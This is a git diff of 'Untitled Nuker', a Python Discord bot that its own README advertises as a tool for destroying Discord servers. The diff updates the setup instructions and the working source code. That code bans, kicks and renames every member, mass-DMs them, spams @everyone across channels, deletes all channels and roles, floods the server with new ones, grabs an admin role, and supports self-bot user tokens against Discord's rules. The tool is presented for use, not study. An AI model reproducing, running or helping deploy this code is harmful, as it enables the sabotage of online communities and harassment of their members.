diff --git a/.gitignore b/.gitignore index 713bec9..0fe0fa9 100644 --- a/.gitignore +++ b/.gitignore @@ -7550,3 +7550,44 @@ build/UntitledNuker/xref-UntitledNuker.html build/UntitledNuker/localpycos/struct.pyo __pycache__/UntitledNuker.cpython-38.pyc UntitledNuker.spec +venv/Lib/site-packages/autopep8.py +venv/Lib/site-packages/pycodestyle.py +venv/Lib/site-packages/__pycache__/autopep8.cpython-38.pyc +venv/Lib/site-packages/__pycache__/pycodestyle.cpython-38.pyc +venv/Lib/site-packages/autopep8-1.6.0.dist-info/AUTHORS.rst +venv/Lib/site-packages/autopep8-1.6.0.dist-info/entry_points.txt +venv/Lib/site-packages/autopep8-1.6.0.dist-info/INSTALLER +venv/Lib/site-packages/autopep8-1.6.0.dist-info/LICENSE +venv/Lib/site-packages/autopep8-1.6.0.dist-info/METADATA +venv/Lib/site-packages/autopep8-1.6.0.dist-info/RECORD +venv/Lib/site-packages/autopep8-1.6.0.dist-info/REQUESTED +venv/Lib/site-packages/autopep8-1.6.0.dist-info/top_level.txt +venv/Lib/site-packages/autopep8-1.6.0.dist-info/WHEEL +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/entry_points.txt +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/INSTALLER +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/LICENSE +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/METADATA +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/namespace_packages.txt +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/RECORD +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/top_level.txt +venv/Lib/site-packages/pycodestyle-2.8.0.dist-info/WHEEL +venv/Lib/site-packages/toml/__init__.py +venv/Lib/site-packages/toml/decoder.py +venv/Lib/site-packages/toml/encoder.py +venv/Lib/site-packages/toml/ordered.py +venv/Lib/site-packages/toml/tz.py +venv/Lib/site-packages/toml/__pycache__/__init__.cpython-38.pyc +venv/Lib/site-packages/toml/__pycache__/decoder.cpython-38.pyc +venv/Lib/site-packages/toml/__pycache__/encoder.cpython-38.pyc +venv/Lib/site-packages/toml/__pycache__/ordered.cpython-38.pyc +venv/Lib/site-packages/toml/__pycache__/tz.cpython-38.pyc +venv/Lib/site-packages/toml-0.10.2.dist-info/INSTALLER +venv/Lib/site-packages/toml-0.10.2.dist-info/LICENSE +venv/Lib/site-packages/toml-0.10.2.dist-info/METADATA +venv/Lib/site-packages/toml-0.10.2.dist-info/RECORD +venv/Lib/site-packages/toml-0.10.2.dist-info/top_level.txt +venv/Lib/site-packages/toml-0.10.2.dist-info/WHEEL +venv/Scripts/autopep8.exe +venv/Scripts/pycodestyle.exe +logo.ico +src/__pycache__/UntitledNuker.cpython-38.pyc diff --git a/README.md b/README.md index ba6840f..7bafbd2 100644 --- a/README.md +++ b/README.md @@ -1,32 +1,135 @@ -# Untitled Nuker -Python Discord Server Nuker - -## Features: -1. `Ban Everyone` -2. `Kick Everyone` -3. `Rename Everyone` -4. `DM Everyone` **(NEW)** -5. `Spam To All Channels` -6. `Delete All Channels` -7. `Delete All Roles` -8. `Spam With Channels` -9. `Spam With Roles` -10. `Edit Server Icon` -11. `Edit Server Name` -12. `Get Admin Role` **(NEW)** - -# Set-up: -### > For Linux: -``` -sudo apt update;sudo apt upgrade;sudo apt install git python;sudo apt install python3-pip;cd;git clone https://github.com/ICEGXG/UntitledNuker;cd UntitledNuker/src;pip3 install -r requirements.txt;python3 UntitledNuker.py -``` -### > For Windows (You should have python3 installed): -``` -git clone https://github.com/ICEGXG/UntitledNuker;cd UntitledNuker/src;pip3 install -r requirements.txt;python3 UntitledNuker.py -``` - -# Meta -Contact me on discord if you have questions: `ICE#4449` -Distributed under the MIT license. See [LICENSE.txt](https://github.com/ICEGXG/UntitledNuker/blob/master/LICENSE.txt) -for more information. -This bot was made for educational purposes. Author is not accountable for any unlawful, unprecedented action and any violation of ToS administered by a third party. +
+

+ + + + +

+

+ + Banner + + +

Multifunctional bot for destroying discord servers

+ +

+
+ Explore the docs » +
+
+ Report Bug + · + Request Feature +

+

+ +
+ Table of Contents +
    +
  1. + About The Project +
  2. +
  3. + Getting Started + +
  4. +
  5. Usage
  6. +
  7. License
  8. +
  9. Contact
  10. +
+
+ +## About Untitled Nuker + +Untitled Nuker + +Untitled Nuker is multifunctional and feature-rich bot for destroying discord servers + +### Features: +* `Nuke Server` +* `Ban Everyone` +* `Kick Everyone` +* `Rename Everyone` +* `DM Everyone` +* `Spam To All Channels` +* `Delete All Channels` +* `Delete All Roles` +* `Spam With Channels` +* `Spam With Roles` +* `Edit Server Icon` +* `Edit Server Name` +* `Get Admin Role` +* `Custom activity` +* `And some more features` + +

(back to top)

+ +## Getting Started +To get a local copy up and running follow these simple steps. + +### Prerequisites +1. You need to install Python, you can donwnload it [here](https://www.python.org) +2. You need discord bot account with intents enabled + #### How to create bot account: + 1. Make sure you're logged on to the [Discord website](https://discord.com). + 2. Navigate to the [application page](https://discord.com/developers/applications). + 3. Click on the "New Application" button. + 4. Give the application a name and click "Create". + 5. Create a Bot User by navigating to the "Bot" tab and clicking "Add Bot". + * Click "Yes, do it!" to continue. + 6. If you want others to be able to invite your bot tick the **Public Bot**. Keeping it unticked will prevent others from inviting your bot to their servers and only you will be able to add the bot to servers (provided that you have needed permissions in the server you want to add the bot to). + * Make sure **Require OAuth2 Code Grant** is unchecked. + 7. Copy the token using the "Copy" button. + #### How to enable intents: + 1. Navigate to the [application page](https://discord.com/developers/applications). + 2. Click on the bot you want to enable privileged intents for. + 3. Navigate to the bot tab on the left side of the screen. + 4. Scroll down to the "Privileged Gateway Intents" section, enable all privileged intents and save your changes. + +### Installation +If you use windows, you can simply run UntitledNuker.exe +Or you can follow next steps: +1. Clone the repo + ```sh + git clone https://github.com/ICEGXG/UntitledNuker + ``` +2. Move to the source directory: + ```sh + cd UntitledNuker/src + ``` +3. Install Python packages + ```sh + pip install -r requirements.txt + ``` +

(back to top)

+ +## Usage +Run the `UntitledNuker.py` file using `py -3 UntitledNuker.py`, or run `UntitledNuker.exe` +At the first launch program will ask you for: + 1. Bot token + 2. Prefix + 3. Owner's discord ID + +Next times bot will run immediately. +After starting you can use the !help command (Change `!` to your prefix), being on the same server as the bot. Bot will send you all the available commands. + +To change the activity, enter your own activity in quotes next to `"activity":` If you want to disable it enter `none`. Empty quotes will leave the standard activity. +

(back to top)

+ +## License +Distributed under the MIT License. See [LICENSE.txt](LICENSE.txt) for more information. +

(back to top)

+ +## Contact +You can contact me on discord if you have questions - [ICE#4449](https://www.discordapp.com) +Project Link: [https://github.com/ICEGXG/UntitledNuker](https://github.com/ICEGXG/UntitledNuker) + +P.S. I'm not python support, so ask questions only related to my bot. +

(back to top)

diff --git a/UntitledNuker.exe b/UntitledNuker.exe index 4105f92..c63c6f0 100644 Binary files a/UntitledNuker.exe and b/UntitledNuker.exe differ diff --git a/assets/banner.png b/assets/banner.png new file mode 100644 index 0000000..890ebad Binary files /dev/null and b/assets/banner.png differ diff --git a/assets/screenshot.png b/assets/screenshot.png new file mode 100644 index 0000000..6268fc6 Binary files /dev/null and b/assets/screenshot.png differ diff --git a/src/UntitledNuker.py b/src/UntitledNuker.py index 571debe..64b4d2c 100644 --- a/src/UntitledNuker.py +++ b/src/UntitledNuker.py @@ -12,11 +12,13 @@ colorama.init() os.system('cls') -version = "1.1.0" +version = "1.2.0" msgs = {"info": f"{Fore.WHITE}[{Fore.CYAN}i{Fore.WHITE}]", "+": f"{Fore.WHITE}[{Fore.CYAN}+{Fore.WHITE}]", "error": f"{Fore.WHITE}[{Fore.RED}e{Fore.WHITE}]", - "input": f"{Fore.WHITE}{Fore.CYAN}>>{Fore.WHITE}"} + "input": f"{Fore.WHITE}{Fore.CYAN}>>{Fore.WHITE}", + "pressenter": f"{Fore.WHITE}[{Fore.CYAN}i{Fore.WHITE}] Press ENTER to exit"} + async def msg_delete(ctx): @@ -27,28 +29,29 @@ async def msg_delete(ctx): try: await ctx.message.delete() except: - print(f"{msgs['error']}Can't delete your message") + print(f"{msgs['error']} Can't delete your message") -def userOrBot(): +def userOrBot(): """ Returns True if token belongs to user's account Returns False if token belongs to bot's account """ if requests.get("https://discord.com/api/v8/users/@me", headers={"Authorization": f'{token}'}).status_code == 200: - return True # Returns False if user is bot + return True else: return False -def checkVersion(): +def checkVersion(): """ Checking for new versions on github """ try: - res = requests.get("https://api.github.com/repos/ICEGXG/UntitledNuker/releases/latest", timeout=2) + res = requests.get( + "https://api.github.com/repos/ICEGXG/UntitledNuker/releases/latest", timeout=2) if res.status_code == 200: response = res.json() git_version = response['tag_name'] @@ -61,27 +64,28 @@ def checkVersion(): except: return "" + print(f'{Fore.CYAN}\n\n __ __ __ __ ______ __ ______ __ ______ _____ ' + "\n" - r' /\ \/\ \/\ "-.\ \/\__ _/\ \/\__ _/\ \ /\ ___\/\ __-. ' + "\n" - r' \ \ \_\ \ \ \-. \/_/\ \\ \ \/_/\ \\ \ \___\ \ __\\ \ \/\ \ ' + "\n" - r' \ \_____\ \_\\"\_\ \ \_\\ \_\ \ \_\\ \_____\ \_____\ \____- ' + "\n" - r' \/_____/\/_/ \/_/ \/_/ \/_/ \/_/ \/_____/\/_____/\/____/ ' + "\n" - '\n' - r' __ __ __ __ __ __ ______ ______ ' + "\n" - r' /\ "-.\ \/\ \/\ \/\ \/ / /\ ___\/\ == \ ' + "\n" - r' \ \ \-. \ \ \_\ \ \ _"-\ \ __\\ \ __< ' + "\n" - r' \ \_\\"\_\ \_____\ \_\ \_\ \_____\ \_\ \_\ ' + "\n" - r' \/_/ \/_/\/_____/\/_/\/_/\/_____/\/_/ /_/ ' - "\n" - "\n" - "\n" - f"{Fore.WHITE} Author: {Fore.CYAN}ICE#4449\n" - f"{Fore.WHITE} Version: {Fore.CYAN}{version} {checkVersion()}\n" - f"{Fore.WHITE} GitHub: {Fore.CYAN}https://github.com/ICEGXG/UntitledNuker\n\n{Fore.WHITE}") + r' /\ \/\ \/\ "-.\ \/\__ _/\ \/\__ _/\ \ /\ ___\/\ __-. ' + "\n" + r' \ \ \_\ \ \ \-. \/_/\ \\ \ \/_/\ \\ \ \___\ \ __\\ \ \/\ \ ' + "\n" + r' \ \_____\ \_\\"\_\ \ \_\\ \_\ \ \_\\ \_____\ \_____\ \____- ' + "\n" + r' \/_____/\/_/ \/_/ \/_/ \/_/ \/_/ \/_____/\/_____/\/____/ ' + "\n" + '\n' + r' __ __ __ __ __ __ ______ ______ ' + "\n" + r' /\ "-.\ \/\ \/\ \/\ \/ / /\ ___\/\ == \ ' + "\n" + r' \ \ \-. \ \ \_\ \ \ _"-\ \ __\\ \ __< ' + "\n" + r' \ \_\\"\_\ \_____\ \_\ \_\ \_____\ \_\ \_\ ' + "\n" + r' \/_/ \/_/\/_____/\/_/\/_/\/_____/\/_/ /_/ ' + "\n" + "\n" + "\n" + f"{Fore.WHITE} Author: {Fore.CYAN}ICE#4449\n" + f"{Fore.WHITE} Version: {Fore.CYAN}{version} (Latest)\n" + f"{Fore.WHITE} GitHub: {Fore.CYAN}https://github.com/ICEGXG/UntitledNuker\n\n{Fore.WHITE}") """ Fetching prefix, token and owner ID's from config -If there's no config requests is from the user +If there's no config, requests data from the user and creates it """ try: @@ -90,11 +94,14 @@ def checkVersion(): token = config["token"] prefix = config["prefix"] owners = config["owners"] + activity = config["activity"] print(f"{msgs['info']} Loaded config.json") except FileNotFoundError: token = input(f"Paste token {msgs['input']} ") prefix = input(f"Paste prefix {msgs['input']} ") - owners = input(f"Paste bot's owner ID (If several use ',') {msgs['input']} ") + owners = input( + f"Paste bot's owner ID (If several use ',') {msgs['input']} ") + activity = "" owners = owners.replace(" ", "") if "," in owners: owners = owners.split(",") @@ -102,28 +109,39 @@ def checkVersion(): config = { "token": token, "prefix": prefix, - "owners": owners + "owners": owners, + "activity": activity } with open("config.json", "w") as data: json.dump(config, data, indent=2) - print(f"{msgs['info']}Created config.json") + print(f"{msgs['info']} Created config.json") -activity = discord.Game(name=f"Untitled Nuker v{version}") -bot = commands.Bot(command_prefix=prefix, self_bot=userOrBot(), activity=activity, intents=discord.Intents.all()) +if activity.lower() == "none": + activity = None +elif activity: + activity = discord.Game(name=activity) +else: + activity = discord.Game(name=f"Untitled Nuker v{version}") + +bot = commands.Bot(command_prefix=prefix, self_bot=userOrBot(), + activity=activity, intents=discord.Intents.all()) bot.remove_command("help") + @bot.event async def on_ready(): - print(f"\n\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n{Fore.WHITE}" + - f"Logged in as {bot.user}".center(95) + "\n" + - f"Prefix: {prefix}".center(95) + "\n" + - f"Total servers: {len(bot.guilds)}".center(95) + "\n" + - f"Total members: {len(bot.users)} ".center(95) + f"\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n\n{Fore.WHITE}") + print(f"\n\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n{Fore.WHITE}" + + f"Logged in as {bot.user}".center(95) + "\n" + + f"Prefix: {prefix}".center(95) + "\n" + + f"Total servers: {len(bot.guilds)}".center(95) + "\n" + + f"Total members: {len(bot.users)} ".center(95) + f"\n{Fore.CYAN}" + ("═"*75).center(95) + f"\n\n{Fore.WHITE}") + @bot.event async def on_command(ctx): print(f"{msgs['info']} Executed {ctx.command}") + @bot.event async def on_command_error(ctx, err): errors = commands.errors @@ -134,40 +152,63 @@ async def on_command_error(ctx, err): else: print(f'{Fore.RED}\n\n{"".join(traceback.format_exception(type(err), err, err.__traceback__))}{Fore.WHITE}\n') + @bot.command(name='help') async def help(ctx): await msg_delete(ctx) p = prefix - embed=discord.Embed(title="Help", color=0x5c92ff) - embed.set_author(name="Untitled Nuker", url="https://github.com/ICEGXG/UntitledNuker") - embed.add_field(name="Nuke", value=f"`{p}1 `", inline=False) + embed = discord.Embed(title="Help", color=0x5c92ff) + embed.set_author(name="Untitled Nuker", + url="https://github.com/ICEGXG/UntitledNuker") + embed.add_field( + name="Nuke", value=f"`{p}1 `", inline=False) embed.add_field(name="Ban everyone", value=f"`{p}2`", inline=False) embed.add_field(name="Kick everyone", value=f"`{p}3`", inline=False) - embed.add_field(name="Rename everyone", value=f"`{p}4 `", inline=False) - embed.add_field(name="DM everyone", value=f"`{p}5 `", inline=False) - embed.add_field(name="Spam to all channels", value=f"`{p}6 `", inline=False) - embed.add_field(name="Spam to current channel", value=f"`{p}7 `", inline=False) + embed.add_field(name="Rename everyone", + value=f"`{p}4 `", inline=False) + embed.add_field(name="DM everyone", + value=f"`{p}5 `", inline=False) + embed.add_field(name="Spam to all channels", + value=f"`{p}6 `", inline=False) + embed.add_field(name="Spam to current channel", + value=f"`{p}7 `", inline=False) embed.add_field(name="Delete all channels", value=f"`{p}`8", inline=True) embed.add_field(name="Delete all roles", value=f"`{p}9`", inline=True) embed.add_field(name="\u200b", value="\u200b", inline=True) - embed.add_field(name="Spam with channels", value=f"`{p}10 `", inline=True) - embed.add_field(name="Spam with roles", value=f"`{p}11 `", inline=True) + embed.add_field(name="Spam with channels", + value=f"`{p}10 `", inline=True) + embed.add_field(name="Spam with roles", + value=f"`{p}11 `", inline=True) embed.add_field(name="\u200b", value="\u200b", inline=True) - embed.add_field(name="Edit server icon", value=f"`{p}12`\n`Image is attachment`", inline=True) - embed.add_field(name="Edit server name", value=f"`{p}13 `", inline=True) - embed.add_field(name="Get admin", value=f"`{p}14 `", inline=False) + embed.add_field(name="Edit server icon", + value=f"`{p}12`\n`Image is attachment`", inline=True) + embed.add_field(name="Edit server name", + value=f"`{p}13 `", inline=True) + embed.add_field(name="Get admin", + value=f"`{p}14 `", inline=False) embed.add_field(name="\u200b", value="\u200b", inline=True) - embed.add_field(name="Revive", value=f"`{p}15 `\n`Creating 1 text channel on server if you deleted all`\n`Execute in DM`", inline=False) - embed.add_field(name="\u200b\nInfo", value="**Untitled Nuker**\nMade by ICE#4449\nGitHub: https://github.com/ICEGXG/UntitledNuker\n", inline=False) + embed.add_field( + name="Revive", value=f"`{p}15 `\n`Creating 1 text channel on server if you deleted all`\n`Execute in DM`", inline=False) + embed.add_field(name="\u200b\nInfo", + value="**Untitled Nuker**\nMade by ICE#4449\nGitHub: https://github.com/ICEGXG/UntitledNuker\n", inline=False) await ctx.message.author.send(embed=embed) + @bot.command(name='1', aliases=["nk", "nuke"]) -async def nuke(ctx, ban: bool=True, text="Untitled Nuker"): +async def nuke(ctx, ban: bool = True, text: str = "Untitled Nuker"): await msg_delete(ctx) + """ + Trying to change server icon and name + """ + icon = await ctx.message.attachments[0].read() if ctx.message.attachments else None await ctx.guild.edit(name=text, icon=icon, banner=icon) + """ + Trying to delete all channels + """ + for ch in ctx.guild.channels: try: await ch.delete() @@ -175,6 +216,10 @@ async def nuke(ctx, ban: bool=True, text="Untitled Nuker"): except: print(f"{msgs['error']} Can't delete {ch}") + """ + Trying to ban everyone if requested + """ + if ban: for m in ctx.guild.members: if str(m.id) not in owners: @@ -185,7 +230,11 @@ async def nuke(ctx, ban: bool=True, text="Untitled Nuker"): print(f"{msgs['error']} can't ban {m}") else: print(f"{msgs['info']} {m} is owner") - + + """ + Trying to delete roles + """ + for r in ctx.guild.roles: try: await r.delete() @@ -193,6 +242,7 @@ async def nuke(ctx, ban: bool=True, text="Untitled Nuker"): except: print(f"{msgs['error']} Can't delete {r}") + @bot.command(name='2', aliases=["be"]) async def banEveryone(ctx): await msg_delete(ctx) @@ -206,6 +256,7 @@ async def banEveryone(ctx): else: print(f"{msgs['info']} {m} is owner") + @bot.command(name='3', aliases=["ke"]) async def kickEveryone(ctx): await msg_delete(ctx) @@ -219,6 +270,7 @@ async def kickEveryone(ctx): else: print(f"{msgs['info']} {m} is owner") + @bot.command(name="4", aliases=["chen"]) async def renameEveryone(ctx, *, name="Untitled Nuker"): await msg_delete(ctx) @@ -232,6 +284,7 @@ async def renameEveryone(ctx, *, name="Untitled Nuker"): else: print(f"{msgs['info']} {m.name} is owner") + @bot.command(name="5", aliases=["dme"]) async def dmEveryone(ctx, *, msg="Untitled Nuker"): await msg_delete(ctx) @@ -245,8 +298,9 @@ async def dmEveryone(ctx, *, msg="Untitled Nuker"): else: print(f"{msgs['info']} {m.name} is owner") + @bot.command(name="6", aliases=["sa"]) -async def spamToAllChannels(ctx, amount: int=50, *, text="@everyone Untitled Nuker"): +async def spamToAllChannels(ctx, amount: int = 50, *, text="@everyone Untitled Nuker"): await msg_delete(ctx) for i in range(amount): for ch in ctx.guild.channels: @@ -256,8 +310,9 @@ async def spamToAllChannels(ctx, amount: int=50, *, text="@everyone Untitled Nuk except: print(f"{msgs['error']} Can't send message to {ch}") + @bot.command(name='7', aliases=["sc"]) -async def spamToCurrentChannel(ctx, amount: int=50, *, text="@everyone Untitled Nuker"): +async def spamToCurrentChannel(ctx, amount: int = 50, *, text="@everyone Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: @@ -266,6 +321,7 @@ async def spamToCurrentChannel(ctx, amount: int=50, *, text="@everyone Untitled except: print(f"{msgs['error']} Can't send message to {ctx.channel}") + @bot.command(name='8', aliases=["dch"]) async def deleteAllChannels(ctx): await msg_delete(ctx) @@ -276,6 +332,7 @@ async def deleteAllChannels(ctx): except: print(f"{msgs['error']} Can't delete {ch}") + @bot.command(name='9', aliases=["dr"]) async def deleteAllRoles(ctx): await msg_delete(ctx) @@ -285,9 +342,10 @@ async def deleteAllRoles(ctx): print(f"{msgs['+']} Deleted {r}") except: print(f"{msgs['error']} Can't delete {r}") - + + @bot.command(name="10", aliases=["sch"]) -async def spamWithChannels(ctx, amount: int=25, *, name="Untitled Nuker"): +async def spamWithChannels(ctx, amount: int = 25, *, name="Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: @@ -296,8 +354,9 @@ async def spamWithChannels(ctx, amount: int=25, *, name="Untitled Nuker"): except: print(f"{msgs['error']} Can't create channel") + @bot.command(name="11", aliases=["sr"]) -async def spamWithRoles(ctx, amount: int=25, *, name="Untitled Nuker"): +async def spamWithRoles(ctx, amount: int = 25, *, name="Untitled Nuker"): await msg_delete(ctx) for i in range(amount): try: @@ -306,6 +365,7 @@ async def spamWithRoles(ctx, amount: int=25, *, name="Untitled Nuker"): except: print(f"{msgs['error']} Can't create role") + @bot.command(name='12', aliases=["si"]) async def editServerIcon(ctx): await msg_delete(ctx) @@ -320,6 +380,7 @@ async def editServerIcon(ctx): except: print(f"{msgs['error']} Can't change server icon") + @bot.command(name='13', aliases=["sn"]) async def editServerName(ctx, *, name="Untitled Nuker"): await msg_delete(ctx) @@ -329,6 +390,7 @@ async def editServerName(ctx, *, name="Untitled Nuker"): except: print(f"{msgs['error']} Can't change server name") + @bot.command(name="14", aliases=["ga"]) async def getAdmin(ctx, *, rolename="Untitled Nuker"): await msg_delete(ctx) @@ -340,9 +402,10 @@ async def getAdmin(ctx, *, rolename="Untitled Nuker"): except Exception as e: print(f"{msgs['error']} Can't add admin role to {ctx.message.author}") + @bot.command(name='15', aliases=["rg"]) @commands.dm_only() -async def reviveGuild(ctx, guildId: int=None): +async def reviveGuild(ctx, guildId: int = None): if guildId: guild = bot.get_guild(guildId) try: @@ -351,13 +414,24 @@ async def reviveGuild(ctx, guildId: int=None): except: print(f"{msgs['error']} Can't revive {guild}") +""" +Running bot +""" + try: bot.run(token, bot=not userOrBot()) except discord.errors.LoginFailure: print(f'{msgs["error"]} Invalid Token') + print(msgs['pressenter']) + input() + os._exit(0) +except discord.errors.PrivilegedIntentsRequired: + print(f"{msgs['error']} It looks like you didn't enable the necessary intents in the developer portal. Visit {Fore.CYAN}https://discord.com/developers/applications/ {Fore.WHITE}and turn them on.\n") + print(msgs['pressenter']) input() os._exit(0) except Exception as e: - print(f'{Fore.RED}\nAn error occured while logging:\n{"".join(traceback.format_exception(type(e), e, e.__traceback__))}{Fore.WHITE}') + print(f'{Fore.RED}\nAn error occured while logging:\n{"".join(traceback.format_exception(type(e), e, e.__traceback__))}{Fore.WHITE}\n') + print(msgs['pressenter']) input() os._exit(0) diff --git a/src/reqirements.txt b/src/reqirements.txt deleted file mode 100644 index 55472cf..0000000 Binary files a/src/reqirements.txt and /dev/null differ diff --git a/src/requirements.txt b/src/requirements.txt index e44ab5f..34890be 100644 --- a/src/requirements.txt +++ b/src/requirements.txt @@ -1,15 +1,3 @@ -aiohttp==3.7.4 -async-timeout==3.0.1 -attrs==21.2.0 -certifi==2021.10.8 -chardet==4.0.0 -charset-normalizer==2.0.7 -colorama==0.4.4 -discord==1.7.3 -discord.py==1.7.3 -idna==3.3 -multidict==5.2.0 -requests==2.26.0 -typing-extensions==3.10.0.2 -urllib3==1.26.7 -yarl==1.7.0 +colorama +discord +requests \ No newline at end of file